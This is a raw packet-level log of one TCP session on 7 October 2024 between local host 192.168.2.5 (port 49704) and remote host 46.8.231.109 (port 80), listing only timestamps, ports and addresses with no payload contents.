Oct 7, 2024 17:22:06.879229069 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879235029 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879235029 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879247904 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879264116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879268885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879268885 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879278898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879282951 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879295111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879300117 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879317045 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879332066 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879336119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879347086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879360914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879375935 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879393101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879393101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879393101 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879399061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879411936 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879414082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879430056 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879431963 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879446030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879451990 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879462004 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879467010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879477024 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879481077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879494905 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879501104 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879517078 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879532099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879539013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879539013 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879547119 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879556894 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879561901 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879565001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879578114 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879594088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879599094 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879600048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879610062 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879616976 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879626989 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879631996 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879642963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879646063 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879658937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879678965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879678965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879683971 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879698992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879713058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879720926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879720926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879728079 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879744053 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879751921 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879751921 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879762888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879781008 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879781961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879781961 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879796028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879801989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879812002 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879812002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879827023 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879842043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879844904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879844904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879857063 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879857063 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879873991 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879889011 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879894018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879894018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879904985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879920006 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879931927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879931927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879935980 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879951954 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879960060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879960060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879967928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879982948 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.879987955 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879987955 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.879998922 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.880013943 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.880018950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.880018950 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.880029917 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.880038023 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.880044937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.880053997 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.880068064 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.880079985 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.881105900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.881711006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.952792883 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.952887058 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.952920914 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.952934027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.952934027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953027010 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953039885 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953073978 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953105927 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953114986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953114986 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953141928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953183889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953183889 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953578949 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953628063 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953632116 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953665018 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953672886 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953697920 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953742027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953742027 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953748941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953783035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953790903 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953815937 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953849077 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953861952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953861952 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953882933 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953913927 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953916073 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953936100 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953948975 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953980923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.953994989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.953994989 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954015017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954046965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954057932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954057932 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954092979 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954098940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954132080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954153061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954165936 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954179049 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954199076 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954216003 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954232931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954262018 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954265118 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954279900 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954298973 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954314947 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954332113 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954364061 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954370022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954370022 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954396963 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954404116 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954431057 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954441071 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954463005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954497099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954503059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954503059 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954530001 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954564095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954571962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954571962 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954596043 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954622030 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954629898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954643965 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954664946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954703093 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954718113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954718113 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954735994 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954770088 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954777956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954777956 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954802990 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954848051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954848051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954854012 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954886913 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954905987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954921007 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954953909 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.954965115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954965115 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.954988003 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955015898 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955032110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955032110 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955049038 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955080032 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955081940 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955112934 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955115080 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955121994 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955146074 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955185890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955185890 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955197096 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955239058 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955245972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955295086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955295086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955328941 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955363035 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955364943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955365896 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955406904 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955420017 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955454111 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955471039 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955487013 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955511093 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955518961 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955553055 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955559969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955559969 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955585957 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955594063 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955619097 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955643892 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955651999 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955663919 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955684900 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955713987 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955717087 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955759048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955759048 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955771923 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955820084 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955852985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955861092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955861092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955885887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955925941 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955925941 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.955935955 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955969095 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.955981970 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956001997 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956018925 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956033945 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956069946 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956079006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956079006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956103086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956135988 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956146002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956146002 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956269026 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956279993 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956301928 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956336021 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956338882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956338882 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956367970 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956412077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956412077 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956422091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956454992 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956489086 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956489086 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956510067 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956522942 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956541061 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956556082 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956587076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956587076 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956588030 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956624985 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956630945 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956657887 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956669092 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956693888 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956718922 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956727028 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956759930 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956769943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956769943 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956793070 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956814051 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956825972 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956859112 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956864119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956864119 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956892014 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956926107 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956932068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956932068 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956959009 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.956989050 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.956993103 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.957026005 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.957037926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.957037926 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.957060099 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.957092047 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.957101107 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.957102060 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.957125902 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.957159042 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.957169056 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.957169056 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.957194090 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.957202911 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.957230091 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.957237959 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.957262993 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.957298040 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:06.957304001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.957304001 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:06.957335949 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.035542965 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.035634041 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.035728931 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.035783052 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.035784006 CEST	49704	80	192.168.2.5	46.8.231.109
Oct 7, 2024 17:22:07.035818100 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.035850048 CEST	80	49704	46.8.231.109	192.168.2.5
Oct 7, 2024 17:22:07.035861015 CEST	49704	80	192.168.2.5	46.8.231.109
